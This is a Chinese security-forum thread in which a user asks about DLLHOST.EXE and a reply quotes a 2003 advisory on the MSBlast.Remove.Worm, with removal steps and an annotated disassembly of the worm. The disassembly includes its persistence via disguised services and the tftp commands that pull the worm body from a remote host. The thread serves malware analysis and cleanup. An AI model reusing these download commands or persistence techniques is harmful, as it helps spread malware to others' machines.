论坛: 病毒专区 标题: 请教DLLHOST.EXE是社么文件呀?它有社么用呀?谢谢 复制本贴地址    
作者: ylsyls [ylsyls]    论坛用户   登录
谢谢

地主 发表时间: 08/20 20:59

回复: tommy_he [tommy_he]   版主   登录
反正是必要的程序!对了,你是什么系统的啊?

B1层 发表时间: 08/21 02:13

回复: fqjpower [fqjpower]   论坛用户   登录
    系统里存在一个正常的DLLHOST.EXE文件,大小只有6KB。如果该文件大小被改变为10K左右,那则是被病毒感染了,病毒名称为:MSBlast.Remove.Worm/W32。

病毒详细介绍:
              MSBlast.Remove.Worm/W32安全通告

蠕虫发现日期:2003年8月18日

紧急程度:高

危害程度:中

公告属性:2003-8-19 03:00

蠕虫概述:
-------------------

此蠕虫利用Windows RPC DCOM漏洞(MS03-026)及Windows IIS WEBDAV(MS03-07)作为感染攻击手段,并通过tftp(udp69简单文件传输协议)下载病毒体到被感染机器中。该MSBlast.Remove.Worm/W32蠕虫病毒不在被感染系统留下后门,也不会进行有目的的拒绝服务攻击。其感染目的是清除MSBlast.Worm/W32病毒体及分别为Win2000、Win XP的韩文系统、繁体中文系统、简体中文系统、英文系统下载和安装Windows RPC DCOM(MS03-26)安全补丁。但该蠕虫大量的向外连接包将造成严重的带宽消耗。
蠕虫技术细节描述:
--------------------------

蠕虫定义名称:

MSBlast.Remove.Worm/W32

感染途径:

病毒体初始化前为了避免蠕虫多次感染运行,会检查或者建立一个互斥量并命将其名为"RpcPatch_Mutex"蠕虫体被运行后,蠕虫会在%System%\wins文件夹中复制一个蠕虫体拷贝,然后蠕虫会新建一个服务,服务名为 "RpcPatch", 显示名称为 "WINS Client",服务启动属性为自动运行。

(注意:系统里存在一个正常的DLLHOST.EXE文件但大小只有6KB,而该蠕虫体的大小为10KB)

接下来蠕虫会把TFTPD.EXE拷贝到%System%\Wins目录下面取名为SVCHOST.EXE,建立一个服务,服务名称为"RpcTftpd",显示名称为 "Network Connections Sharing",服务启动属性为自动运行。

当系统重新启动的时候,以上两个服务启动触发蠕虫病毒运行。该蠕虫以系统服务形式启动这是与MSBlast病毒所使用的注册表RUN键值启动所不同的。

蠕虫会绑定一个由随机数除以100并把余数加上666的最终值作为提供感染源连接发送病毒体文件操作命令的端口,建立独立线程(分析中发现多次出现TCP 707端口)。当检测到dllhost.exe、tftpd.exe字符串的时候该端口关闭。

蠕虫特点:

1, 杀除其它MSBLAST蠕虫
这个蠕虫一个重要特点,它会在系统中寻找其它MSBlast蠕虫的进程,如果找到就会把MSBlast的进程停掉,Sleep5秒后查找系统目录下是否有MSblast病毒体,如果发现立即删除。

2, 下载补丁
蠕虫会查询判断是Windows2000或WindowsXP再判断系统的语言版本。自动打补丁的系统范围为,韩文系统、繁体中文系统、简体中文系统、英文系统。然后从微软网站上下载相应的的RPC DCOM(MS03-26)的补丁程序并且安装。

3, 会删除自身
蠕虫会在删除完MSBlast后开始检查系统时间。当系统设置的年份为2004年时,把自己从系统中删除掉。也对应了这个作者在代码中的一句留言"Notice: 2004 will remove myself:-)"

清除方法:

1. 由于该病毒的自清除属性。您可以修改系统时间年份至2004年,并重新启动系统。安装漏洞补丁后再矫正系统时间。

2. 如果您的系统运行着重要应用服务,并不希望改动系统时间。您可以到启明星辰网站下载运行积极防御实验室针对此蠕虫紧急编写的MSBlast.Remove.Worm本地(远程)查杀工具。
3. 迅速至微软网站下载并安装针Windows2000 SP4补丁及针对对该Windows RPC DCOM(MS03-26)漏洞的相应补丁。

下面是启明星辰积极防御实验室对MSBlast.Remove.Worm/W32代码分析的截取:

date:2003-08-19
======================================================================
程序初始化前,先检测系统中是否己有蠕虫在运行
seg000:004027B0 sub_4027B0 proc near ; CODE XREF: sub_4011C0+6p
seg000:004027B0 push offset aRpcpatch_mutex ; lpName
seg000:004027B5 push 0 ; bInitialOwner
seg000:004027B7 push 0 ; lpMutexAttributes
seg000:004027B9 call ds:CreateMutexA 建立互斥量,名称为 "RpcPatch_Mutex"
seg000:004027BF test eax, eax
seg000:004027C1 jz short loc_4027D3 如果建立成功,证明当前系统中没有运行蠕虫,返回TRUE
seg000:004027C3 call ds:GetLastError 如果建立失败,则判断错误值是否为该互斥量己经建立,返回FALSE
seg000:004027C9 cmp eax, 0B7h 
seg000:004027CE jz short loc_4027D3
seg000:004027D0 xor eax, eax 返回FALSE
seg000:004027D2 retn
seg000:004027D3 
seg000:004027D3 loc_4027D3: ; CODE XREF: sub_4027B0+11j
seg000:004027D3 ; sub_4027B0+1Ej
seg000:004027D3 mov eax, 1 返回TRUE
seg000:004027D8 retn
seg000:004027D8 sub_4027B0 endp


对系统服务的操作:
seg000:00402730 sub_402730 proc near ; CODE XREF: sub_4011C0+1Fp
seg000:00402730 
seg000:00402730 ServiceStatus = _SERVICE_STATUS ptr -1Ch
seg000:00402730 
seg000:00402730 sub esp, 1Ch
seg000:00402733 push esi
seg000:00402734 push edi
seg000:00402735 push 80000000h ; dwDesiredAccess
seg000:0040273A push 0 ; lpDatabaseName
seg000:0040273C push 0 ; lpMachineName
seg000:0040273E call ds:OpenSCManagerA ; Establish a connection to the service
seg000:0040273E ; control manager on the specified computer
seg000:0040273E ; and opens the specified database
seg000:00402744 mov edi, eax
seg000:00402746 test edi, edi 
seg000:00402748 jnz short loc_402755 打开服务控制管理器
seg000:0040274A pop edi
seg000:0040274B mov eax, 11111111h 如果失败则返回 0x11111111
seg000:00402750 pop esi
seg000:00402751 add esp, 1Ch
seg000:00402754 retn
seg000:00402755 ; 哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪?
seg000:00402755 
seg000:00402755 loc_402755: ; CODE XREF: sub_402730+18j
seg000:00402755 push 0F01FFh ; dwDesiredAccess
seg000:0040275A push offset aRpcpatch ; lpServiceName
seg000:0040275F push edi ; hSCManager
seg000:00402760 call ds:OpenServiceA 打开名为"RpcPatch"的服务
seg000:00402766 mov esi, eax
seg000:00402768 test esi, esi
seg000:0040276A jnz short loc_402777 如果打开失败则返回0x22222222
seg000:0040276C pop edi
seg000:0040276D mov eax, 22222222h
seg000:00402772 pop esi
seg000:00402773 add esp, 1Ch
seg000:00402776 retn
seg000:00402777 ; 哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪?
seg000:00402777 
seg000:00402777 loc_402777: ; CODE XREF: sub_402730+3Aj
seg000:00402777 lea eax, [esp+24h+ServiceStatus]
seg000:0040277B push eax ; lpServiceStatus
seg000:0040277C push esi ; hService
seg000:0040277D call ds:QueryServiceStatus 取得服务名为"RpcPatch"的服务信息
seg000:00402783 test eax, eax
seg000:00402785 push esi ; hSCObject
seg000:00402786 mov esi, ds:CloseServiceHandle
seg000:0040278C jnz short loc_40279E
seg000:0040278E call esi ; CloseServiceHandle
seg000:00402790 push edi ; hSCObject
seg000:00402791 call esi ; CloseServiceHandle
seg000:00402793 pop edi
seg000:00402794 mov eax, 33333333h
seg000:00402799 pop esi
seg000:0040279A add esp, 1Ch
seg000:0040279D retn ; hSCObject
seg000:0040279E ; 哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪?
seg000:0040279E 
seg000:0040279E loc_40279E: ; CODE XREF: sub_402730+5Cj
seg000:0040279E call esi ; CloseServiceHandle
seg000:004027A0 push edi ; hSCObject
seg000:004027A1 call esi ; CloseServiceHandle
seg000:004027A3 mov eax, [esp+24h+ServiceStatus.dwCurrentState]
seg000:004027A7 pop edi
seg000:004027A8 pop esi
seg000:004027A9 add esp, 1Ch
seg000:004027AC retn
seg000:004027AC sub_402730 endp


复制文件与建立服务
seg000:004015E0 NewFileName = byte ptr -208h
seg000:004015E0 ExistingFileName= byte ptr -104h
seg000:004015E0 
seg000:004015E0 sub esp, 208h
seg000:004015E6 lea eax, [esp+208h+ExistingFileName]
seg000:004015ED push esi
seg000:004015EE mov esi, ds:sprintf
seg000:004015F4 push offset aCWindowsSystem ; "C:\\WINDOWS\\System32"
seg000:004015F9 push offset aSDllcacheTftpd ; "%s\\dllcache\\tftpd.exe"
seg000:004015FE push eax
seg000:004015FF call esi ; sprintf 生成字符串 "C:\\WINDOWS\\System32\\\\dllcache\\tftpd.exe"
seg000:00401601 add esp, 0Ch
seg000:00401604 lea ecx, [esp+20Ch+NewFileName]
seg000:00401608 push offset aCWindowsSystem ; "C:\\WINDOWS\\System32"
seg000:0040160D push offset aSWinsSvchost_e ; "%s\\wins\\svchost.exe" 生成字符串 "C:\\WINDOWS\\System32\\wins\\svchost.exe"
seg000:00401612 push ecx
seg000:00401613 call esi ; sprintf
seg000:00401615 add esp, 0Ch
seg000:00401618 lea edx, [esp+20Ch+NewFileName]
seg000:0040161C lea eax, [esp+20Ch+ExistingFileName]
seg000:00401623 push 0 ; bFailIfExists
seg000:00401625 push edx ; lpNewFileName
seg000:00401626 push eax ; lpExistingFileName
seg000:00401627 call ds:CopyFileA 复制文件,把戏C:\\WINDOWS\\System32\\\\dllcache\\tftpd.exe 复制到 C:\\WINDOWS\\System32\\wins\\svchost.exe 
seg000:0040162D push offset aMsdtc ; int
seg000:00401632 push offset aSvchost_exe ; int
seg000:00401637 push offset aNetworkConnect ; lpDisplayName
seg000:0040163C push offset aRpctftpd ; lpServiceName
seg000:00401641 call sub_4023E0 建立一个服务,服务名称为"RpcTftpd",显示名称为 "Network Connections Sharing"
seg000:00401646 add esp, 10h
seg000:00401649 pop esi
seg000:0040164A add esp, 208h
seg000:00401650 retn
seg000:00401650 sub_4015E0 endp


复制自己并新建一个自启动的服务
seg000:00401660 
seg000:00401660 NewFileName = byte ptr -20Ch
seg000:00401660 ExistingFileName= byte ptr -108h
seg000:00401660 
seg000:00401660 sub esp, 20Ch
seg000:00401666 lea eax, [esp+20Ch+ExistingFileName]
seg000:0040166D push 104h ; nSize
seg000:00401672 push eax ; lpFilename
seg000:00401673 push 0 ; hModule
seg000:00401675 call ds:GetModuleFileNameA 得到自身的文件名
seg000:0040167B push offset aCWindowsSystem ; "C:\\WINDOWS\\System32"
seg000:00401680 lea ecx, [esp+210h+NewFileName]
seg000:00401684 push offset aSWinsDllhost_e ; "%s\\wins\\DLLHOST.EXE"
seg000:00401689 push ecx
seg000:0040168A call ds:sprintf 创建被复制到的路径: C:\\WINDOWS\\System32\\wins\\DLLHOST.EXE
seg000:00401690 add esp, 0Ch
seg000:00401693 lea edx, [esp+20Ch+NewFileName]
seg000:00401697 lea eax, [esp+20Ch+ExistingFileName]
seg000:0040169E push 0 ; bFailIfExists
seg000:004016A0 push edx ; lpNewFileName
seg000:004016A1 push eax ; lpExistingFileName
seg000:004016A2 call ds:CopyFileA 将自身复制为 C:\\WINDOWS\\System32\\wins\\DLLHOST.EXE
seg000:004016A8 push offset aBrowser ; int
seg000:004016AD push offset aDllhost_exe ; int
seg000:004016B2 push offset aWinsClient ; lpDisplayName
seg000:004016B7 push offset aRpcpatch ; lpServiceName
seg000:004016BC call sub_4023E0 新建一个自动启动的服务,服务名为 "RpcPatch", 显示名称为 "WINS Client"
seg000:004016C1 add esp, 21Ch
seg000:004016C7 retn
seg000:004016C7 sub_401660 endp


查杀 "msblast"蠕虫
seg000:00402A08 push offset aMsblast ; "msblast"
seg000:00402A0D call sub_401000 查找当前系统运行的进程中有没有
进程名为"msblast"的进程,如果有的话,就返回该进程的进程ID
seg000:00402A12 add esp, 4
seg000:00402A15 test eax, eax
seg000:00402A17 jz short loc_402A48
seg000:00402A19 push eax ; dwProcessId
seg000:00402A1A push 0 ; bInheritHandle
seg000:00402A1C push 1F0FFFh ; dwDesiredAccess
seg000:00402A21 call ds:OpenProcess 如果查找到msblast进程,就打开这个进程
seg000:00402A27 mov esi, eax
seg000:00402A29 test esi, esi
seg000:00402A2B jz short loc_402A48
seg000:00402A2D push 1 ; uExitCode
seg000:00402A2F push esi ; hProcess
seg000:00402A30 call ds:TerminateProcess 然后终止这个进程
seg000:00402A36 push 1388h ; dwMilliseconds Sleep 5秒钟
seg000:00402A3B call ds:Sleep
...以下代码是检查WINDOWS系统目录下有没有msblast.exe这个程序,
如果有的话,就删除这个程序

先杀掉msblast蠕虫,然后判断当前时间是否为2004年,如果是2004年,就完全清除本蠕虫
seg000:0040129E call sub_402A00 先杀掉msblast蠕虫 
seg000:004012A3 lea ecx, [esp+1A4h+SystemTime]
seg000:004012A7 push ecx ; lpSystemTime
seg000:004012A8 call ds:GetLocalTime 取得当前时间
seg000:004012AE cmp [esp+1A4h+SystemTime.wYear], 7D4h 现在是不是2004年?
seg000:004012B5 jnz short loc_4012DB 如果是的话,就完全清除自己
seg000:004012B7 push offset aRpcpatch ; lpServiceName
seg000:004012BC call sub_402F00 清除原先加的服务
seg000:004012C1 push offset aRpctftpd ; lpServiceName
seg000:004012C6 call sub_402F00 
seg000:004012CB add esp, 8
seg000:004012CE call sub_402970 删除自身
seg000:004012D3 push 1 ; uExitCode
seg000:004012D5 call ds:ExitProcess 退出 


如果现在不是2004年,就继续执行
seg000:00401325 call sub_401F30 生成字符串,用于检测本机有没有WEBDAV漏洞
seg000:0040132A call sub_402170 生成RPC DCOM SHELLCODE
seg000:0040132F call sub_401210 生成TFTP 下载文件的命令,并初始化一些端口
tftp -i 172.28.33.13 get dllhost.exe wins\DLLHOST.EXE
tftp -i 172.28.33.13 get svchost.exe wins\SVCHOST.EXE
seg000:00401334 call sub_401780 
seg000:00401339 lea edx, [esp+1B4h+ThreadId]
seg000:0040133D push edx ; lpThreadId
seg000:0040133E push 0 ; dwCreationFlags
seg000:00401340 push 0 ; lpParameter
seg000:00401342 push offset sub_401990 ; lpStartAddress 监听和发送数据包线程
seg000:00401347 push 0 ; dwStackSize
seg000:00401349 push 0 ; lpThreadAttributes
seg000:0040134B call ds:CreateThread 启动线程

数据包收发线程
seg000:004019C1 call ds:rand 生成一随机数
seg000:004019C7 cdq 
seg000:004019C8 mov ecx, 64h
seg000:004019CD mov ebx, ds:htons
seg000:004019D3 idiv ecx 随机数除以 100
seg000:004019D5 mov ebp, ds:bind
seg000:004019DB add edx, 29Ah 余数加上666
seg000:004019E1 xor esi, esi
seg000:004019E3 
seg000:004019E3 loc_4019E3: ; CODE XREF: sub_401990+8Fj
seg000:004019E3 add dx, si
seg000:004019E6 xor eax, eax
seg000:004019E8 mov al, dh
seg000:004019EA mov ds:hostshort, dx
seg000:004019F1 cmp al, 0C5h
seg000:004019F3 jz short loc_401A18
seg000:004019F5 cmp dl, 0C5h
seg000:004019F8 jz short loc_401A18
seg000:004019FA push edx ; hostshort 作为监听端口
seg000:004019FB call ebx ; htons
seg000:004019FD lea ecx, [esp+38h+name]
seg000:00401A01 push 10h ; namelen
seg000:00401A03 push ecx ; name
seg000:00401A04 push edi ; s
seg000:00401A05 mov word ptr [esp+44h+name.sa_data], ax
seg000:00401A0A call ebp ; bind 绑定这个端口
以下代码为开始监听这个端口并新建立一个线程,处理数据的发送与接收

新建的收发数据的线程:
...
seg000:00401CD3 push 3FFh ; len 一次接收的数据最大长度:0x3FF
seg000:00401CD8 push edx ; buf
seg000:00401CD9 push esi ; s
seg000:00401CDA call edi ; recv 接收数据
seg000:00401CDC cmp eax, 0FFFFFFFFh 接收失败就退出
seg000:00401CDF jz loc_401E54
seg000:00401CE5 test eax, eax
seg000:00401CE7 jz loc_401E54
seg000:00401CED mov ebp, ds:strstr
seg000:00401CF3 lea eax, [esp+410h+buf]
seg000:00401CF7 push offset aMicrosoftWindo ; "Microsoft Windows"
seg000:00401CFC push eax
seg000:00401CFD call ebp ; strstr 查找接收到的数据中有没有包含字符串:"Microsoft Windows"
seg000:00401CFF add esp, 8
seg000:00401D02 test eax, eax 
seg000:00401D04 jz loc_401E54 如果没有就退出
seg000:00401D0A lea ecx, [esp+410h+buf]
seg000:00401D0E push offset dword_4061BC
seg000:00401D13 push ecx
seg000:00401D14 call ebp ; strstr 查找接收到的数据中有没有包含字符串:"system32>Timeout occurred"
seg000:00401D16 add esp, 8
seg000:00401D19 test eax, eax
seg000:00401D1B jnz short loc_401D4D 如果没有就继续接收数据,直到接收到的数据有这个字符串为止
seg000:00401D1D 
seg000:00401D1D loc_401D1D: ; CODE XREF: sub_401C80+CBj
seg000:00401D1D push 0 ; flags
seg000:00401D1F lea edx, [esp+414h+buf]
seg000:00401D23 push 3FFh ; len
seg000:00401D28 push edx ; buf
seg000:00401D29 push esi ; s
seg000:00401D2A call edi ; recv 继续接收数据并比较
seg000:00401D2C cmp eax, 0FFFFFFFFh
seg000:00401D2F jz loc_401E54
seg000:00401D35 mov byte ptr [esp+eax+410h+buf], 0
seg000:00401D3A lea eax, [esp+410h+buf]
seg000:00401D3E push offset dword_4061BC
seg000:00401D43 push eax
seg000:00401D44 call ebp ; strstr
seg000:00401D46 add esp, 8
seg000:00401D49 test eax, eax
seg000:00401D4B jz short loc_401D1D
seg000:00401D4D 
seg000:00401D4D loc_401D4D: ; CODE XREF: sub_401C80+9Bj
seg000:00401D4D lea ecx, [esp+410h+buf]
seg000:00401D51 push ecx ; int
seg000:00401D52 push offset aDirWinsDllhost ; buf
seg000:00401D57 push esi ; s
seg000:00401D58 call sub_401B10
seg000:00401D5D add esp, 0Ch
seg000:00401D60 test eax, eax
seg000:00401D62 jz loc_401E54
seg000:00401D68 lea edx, [esp+410h+buf]
seg000:00401D6C push offset aDllhost_exe ; "DLLHOST.EXE" 
seg000:00401D71 push edx
seg000:00401D72 call ebp ; strstr 检测字符串中是否有 "DLLHOST.EXE"
seg000:00401D74 add esp, 8 
seg000:00401D77 test eax, eax 如果有就退出
seg000:00401D79 jnz loc_401E54
seg000:00401D7F lea eax, [esp+410h+buf]
seg000:00401D83 push offset aDllhost_exe_0 ; "dllhost.exe" 
seg000:00401D88 push eax
seg000:00401D89 call ebp ; strstr 检测字符串中是否有 "dllhost.exe"
seg000:00401D8B add esp, 8
seg000:00401D8E test eax, eax 如果有就退出
seg000:00401D90 jnz loc_401E54
seg000:00401D96 lea ecx, [esp+410h+buf]
seg000:00401D9A push ecx ; int
seg000:00401D9B push offset aDirDllcacheTft ; buf
seg000:00401DA0 push esi ; s
seg000:00401DA1 call sub_401B10
seg000:00401DA6 add esp, 0Ch
seg000:00401DA9 test eax, eax
seg000:00401DAB jz loc_401E54
seg000:00401DB1 lea edx, [esp+410h+buf]
seg000:00401DB5 push offset aTftpd_exe_0 ; "tftpd.exe" 
seg000:00401DBA push edx
seg000:00401DBB call ebp ; strstr 检测字符串中是否有 "tftpd.exe"
seg000:00401DBD add esp, 8
seg000:00401DC0 test eax, eax 如果有就退出
seg000:00401DC2 jnz short loc_401DF0
seg000:00401DC4 lea eax, [esp+410h+buf]
seg000:00401DC8 push offset aTftpd_exe ; "TFTPD.EXE" 检测字符串中是否有 "TFTPD.EXE"
seg000:00401DCD push eax
seg000:00401DCE call ebp ; strstr 如果有就退出
seg000:00401DD0 add esp, 8
seg000:00401DD3 test eax, eax
seg000:00401DD5 jnz short loc_401DF0
seg000:00401DD7 lea ecx, [esp+410h+buf]
seg000:00401DDB push ecx ; int
seg000:00401DDC push offset aTftpI172_28__0 ; buf
seg000:00401DE1 push esi ; s
seg000:00401DE2 call sub_401B90 以下代码为下载dllhost.exe,svchost.exe到系统目录



B2层 发表时间: 08/21 11:16

论坛: 病毒专区

20CN网络安全小组版权所有
Copyright © 2000-2010 20CN Security Group. All Rights Reserved.
论坛程序编写:NetDemon

粤ICP备05087286号